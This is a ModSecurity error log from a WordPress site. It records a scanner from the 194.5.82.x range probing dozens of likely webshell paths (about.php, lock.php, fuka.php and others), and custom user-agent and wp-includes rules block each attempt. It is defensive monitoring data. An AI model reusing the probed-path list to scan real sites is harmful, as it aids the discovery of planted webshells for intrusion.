[Tue Mar 24 01:49:08.088295 2026] [:error] [pid 56238:tid 56349] [client 194.5.82.65:30023] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/includes/interfaces/about.php"] [unique_id "acF9FFSqceFAZRgPDq6u_gAAAME"]
[Tue Mar 24 01:49:09.891898 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.76:26437] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/waspthemes-yellow-pencil/images/list/about.php"] [unique_id "acF9FXdtW_1bksndFbY54QAAABc"]
[Tue Mar 24 01:49:10.073295 2026] [:error] [pid 56236:tid 56311] [client 194.5.82.83:64653] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "acF9FnapFgYp0uZ8twAsuwAAAFI"]
[Tue Mar 24 01:49:10.255674 2026] [:error] [pid 31798:tid 31805] [client 194.5.82.95:29779] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/miniorange-malware-protection/handler/about.php"] [unique_id "acF9FndtW_1bksndFbY55QAAAAU"]
[Tue Mar 24 01:49:10.437120 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.62:36967] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/text.php"] [unique_id "acF9FndtW_1bksndFbY55gAAABM"]
[Tue Mar 24 01:49:10.619923 2026] [:error] [pid 31798:tid 31822] [client 194.5.82.71:56023] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "acF9FndtW_1bksndFbY56AAAABY"]
[Tue Mar 24 01:49:10.803478 2026] [:error] [pid 56435:tid 56499] [client 194.5.82.68:22607] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mer_gagal.php"] [unique_id "acF9Fsrwr-l5A-s9ryCQsQAAAQA"]
[Tue Mar 24 01:49:10.984582 2026] [:error] [pid 56237:tid 56339] [client 194.5.82.61:23209] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/lock.php"] [unique_id "acF9FgymO0MnzQb90MMzNgAAAJI"]
[Tue Mar 24 01:49:11.163864 2026] [:error] [pid 56238:tid 56348] [client 194.5.82.59:54863] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/mtodm/"] [unique_id "acF9F1SqceFAZRgPDq6vBAAAAMA"]
[Tue Mar 24 01:49:11.361270 2026] [:error] [pid 56238:tid 56360] [client 194.5.82.69:56409] [client 194.5.82.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php"] [unique_id "acF9F1SqceFAZRgPDq6vBwAAAMw"]
[Tue Mar 24 01:49:11.540142 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.65:24063] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "acF9F3apFgYp0uZ8twAsvAAAAFE"]
[Tue Mar 24 01:49:11.719072 2026] [:error] [pid 56237:tid 56326] [client 194.5.82.168:49553] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/accordion/"] [unique_id "acF9FwymO0MnzQb90MMzOQAAAIU"]
[Tue Mar 24 01:49:11.900013 2026] [:error] [pid 56237:tid 56328] [client 194.5.82.74:21959] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/"] [unique_id "acF9FwymO0MnzQb90MMzOgAAAIc"]
[Tue Mar 24 01:49:12.080334 2026] [:error] [pid 56237:tid 56331] [client 194.5.82.59:53841] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/parts/"] [unique_id "acF9GAymO0MnzQb90MMzPAAAAIo"]
[Tue Mar 24 01:49:12.262354 2026] [:error] [pid 56237:tid 56344] [client 194.5.82.95:31919] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chillbud/inc/welcome/assets/img/"] [unique_id "acF9GAymO0MnzQb90MMzPQAAAJc"]
[Tue Mar 24 01:49:12.443028 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.85:45597] [client 194.5.82.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-cache-sys/"] [unique_id "acF9GFSqceFAZRgPDq6vCwAAAM8"]
[Tue Mar 24 01:49:12.622377 2026] [:error] [pid 56237:tid 56341] [client 194.5.82.68:43849] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "acF9GAymO0MnzQb90MMzPgAAAJQ"]
[Tue Mar 24 01:49:12.804753 2026] [:error] [pid 56237:tid 56327] [client 194.5.82.93:60735] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor-pro/cong.php"] [unique_id "acF9GAymO0MnzQb90MMzQAAAAIY"]
[Tue Mar 24 01:49:12.990815 2026] [:error] [pid 56238:tid 56367] [client 194.5.82.72:61509] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/hert.php"] [unique_id "acF9GFSqceFAZRgPDq6vDQAAANM"]
[Tue Mar 24 01:49:13.172995 2026] [:error] [pid 56238:tid 56365] [client 194.5.82.78:29359] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/maintenance.php"] [unique_id "acF9GVSqceFAZRgPDq6vDgAAANE"]
[Tue Mar 24 01:49:13.352505 2026] [:error] [pid 56236:tid 56293] [client 194.5.82.70:32139] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/coke.php"] [unique_id "acF9GXapFgYp0uZ8twAswAAAAEA"]
[Tue Mar 24 01:49:13.533805 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.66:23531] [client 194.5.82.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugins-long.php"] [unique_id "acF9GXdtW_1bksndFbY59gAAABM"]
[Tue Mar 24 01:49:13.715916 2026] [:error] [pid 31798:tid 31816] [client 194.5.82.58:25963] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-text-cron.php"] [unique_id "acF9GXdtW_1bksndFbY59wAAABA"]
[Tue Mar 24 01:49:13.899030 2026] [:error] [pid 56237:tid 56330] [client 194.5.82.70:49539] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/php7.php"] [unique_id "acF9GQymO0MnzQb90MMzRAAAAIk"]
[Tue Mar 24 01:49:14.078036 2026] [:error] [pid 56236:tid 56294] [client 194.5.82.94:32973] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "acF9GnapFgYp0uZ8twAswQAAAEE"]
[Tue Mar 24 01:49:14.257604 2026] [:error] [pid 31798:tid 31814] [client 194.5.82.78:39223] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/home-link/"] [unique_id "acF9GndtW_1bksndFbY5_AAAAA4"]
[Tue Mar 24 01:49:14.438070 2026] [:error] [pid 56237:tid 56328] [client 194.5.82.61:51945] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/fuka.php"] [unique_id "acF9GgymO0MnzQb90MMzSAAAAIc"]
[Tue Mar 24 01:49:16.123311 2026] [:error] [pid 56238:tid 56364] [client 194.5.82.84:28487] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/builder/type/base/dynamic-css/button/"] [unique_id "acF9HFSqceFAZRgPDq6vFAAAANA"]
[Tue Mar 24 01:49:16.304067 2026] [:error] [pid 56435:tid 56517] [client 194.5.82.85:34725] [client 194.5.82.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/post-template-path.php"] [unique_id "acF9HMrwr-l5A-s9ryCQuwAAARA"]
[Tue Mar 24 01:49:16.485584 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.93:29271] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/plex1.php"] [unique_id "acF9HFSqceFAZRgPDq6vFQAAAM8"]
[Tue Mar 24 01:49:16.668304 2026] [:error] [pid 56435:tid 56504] [client 194.5.82.96:31539] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/widgets-form-blocks-interface.php"] [unique_id "acF9HMrwr-l5A-s9ryCQwgAAAQU"]
[Tue Mar 24 01:49:16.849416 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.55:49377] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-template/"] [unique_id "acF9HMrwr-l5A-s9ryCQwwAAAQ8"]
[Tue Mar 24 01:49:17.042854 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.94:60201] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pretty-link/js/build/wp-cron.php"] [unique_id "acF9Hcrwr-l5A-s9ryCQxgAAAQg"]
[Tue Mar 24 01:49:17.223150 2026] [:error] [pid 56435:tid 56502] [client 194.5.82.60:55331] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/webp-express/radio.php"] [unique_id "acF9Hcrwr-l5A-s9ryCQxwAAAQM"]
[Tue Mar 24 01:49:17.404011 2026] [:error] [pid 56237:tid 56325] [client 194.5.82.65:30909] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/webp-express/webp-images-bigger-than-source/providers/"] [unique_id "acF9HQymO0MnzQb90MMzTgAAAIQ"]
[Tue Mar 24 01:49:17.582983 2026] [:error] [pid 56236:tid 56306] [client 194.5.82.87:53377] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/888starz-egypt-theme/inc/page/wp-cron.php"] [unique_id "acF9HXapFgYp0uZ8twAswgAAAE0"]
[Tue Mar 24 01:49:17.762790 2026] [:error] [pid 56237:tid 56343] [client 194.5.82.96:52433] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/nextpage/wp-cron.php"] [unique_id "acF9HQymO0MnzQb90MMzUAAAAJY"]
[Tue Mar 24 01:49:17.947461 2026] [:error] [pid 31798:tid 31800] [client 194.5.82.94:47387] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/namespaced/customize/"] [unique_id "acF9HXdtW_1bksndFbY6BAAAAAA"]
[Tue Mar 24 01:49:18.129695 2026] [:error] [pid 56435:tid 56510] [client 194.5.82.102:33663] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/theme-compat/"] [unique_id "acF9Hsrwr-l5A-s9ryCQyQAAAQo"]
[Tue Mar 24 01:49:18.308905 2026] [:error] [pid 56237:tid 56337] [client 194.5.82.81:42869] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-rest/about.php"] [unique_id "acF9HgymO0MnzQb90MMzUgAAAJA"]
[Tue Mar 24 01:49:18.491679 2026] [:error] [pid 56237:tid 56326] [client 194.5.82.86:37799] [client 194.5.82.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/button/admiin.php"] [unique_id "acF9HgymO0MnzQb90MMzUwAAAIU"]
[Tue Mar 24 01:49:18.673300 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.78:25707] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "acF9HndtW_1bksndFbY6CAAAABU"]
[Tue Mar 24 01:49:18.852700 2026] [:error] [pid 31798:tid 31812] [client 194.5.82.55:21605] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/rum.php"] [unique_id "acF9HndtW_1bksndFbY6CgAAAAw"]
[Tue Mar 24 01:49:19.031584 2026] [:error] [pid 31798:tid 31811] [client 194.5.82.97:34701] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/session_init.php"] [unique_id "acF9H3dtW_1bksndFbY6DAAAAAs"]
[Tue Mar 24 01:49:19.211203 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.78:33043] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-config-extra.php"] [unique_id "acF9H3dtW_1bksndFbY6DQAAABc"]
[Tue Mar 24 01:49:19.391846 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.93:29897] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-social-elf.php"] [unique_id "acF9H3dtW_1bksndFbY6DgAAABI"]
[Tue Mar 24 01:49:19.570896 2026] [:error] [pid 56237:tid 56328] [client 194.5.82.95:55271] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "acF9HwymO0MnzQb90MMzVgAAAIc"]
[Tue Mar 24 01:49:19.790473 2026] [:error] [pid 56236:tid 56311] [client 194.5.82.76:44457] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "acF9H3apFgYp0uZ8twAsyAAAAFI"]
[Tue Mar 24 01:49:19.971247 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.91:57255] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-load.php"] [unique_id "acF9H3apFgYp0uZ8twAsyQAAAFE"]
[Tue Mar 24 01:49:20.153975 2026] [:error] [pid 56238:tid 56361] [client 194.5.82.82:45551] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acF9IFSqceFAZRgPDq6vFgAAAM0"]
[Tue Mar 24 01:49:20.336270 2026] [:error] [pid 56435:tid 56513] [client 194.5.82.95:51473] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/load.php"] [unique_id "acF9IMrwr-l5A-s9ryCQzAAAAQw"]
[Tue Mar 24 01:49:20.517135 2026] [:error] [pid 56237:tid 56327] [client 194.5.82.78:65109] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/system.php"] [unique_id "acF9IAymO0MnzQb90MMzWQAAAIY"]
[Tue Mar 24 01:49:20.697813 2026] [:error] [pid 56237:tid 56329] [client 194.5.82.101:43277] [client 194.5.82.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/users.php"] [unique_id "acF9IAymO0MnzQb90MMzWgAAAIg"]
